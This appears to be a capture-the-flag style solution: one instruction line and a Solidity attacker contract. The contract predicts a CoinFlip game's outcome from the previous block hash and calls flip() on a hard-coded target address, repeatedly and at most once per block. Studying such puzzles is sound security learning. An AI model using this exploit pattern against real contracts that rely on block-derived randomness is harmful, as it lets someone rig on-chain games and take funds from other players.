• Create an attacker contract and deploy. Run attack method consecutively.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface ICoinFlip {
    function flip(bool _guess) external returns (bool);
}

contract CoinFlipAttacker {

    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    address target = 0xe1A5004879375bfa43783baF91857D781694A274;

    constructor() {
    }

    function attack() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        bool result =  ICoinFlip(target).flip(side);
        return result;

    }
}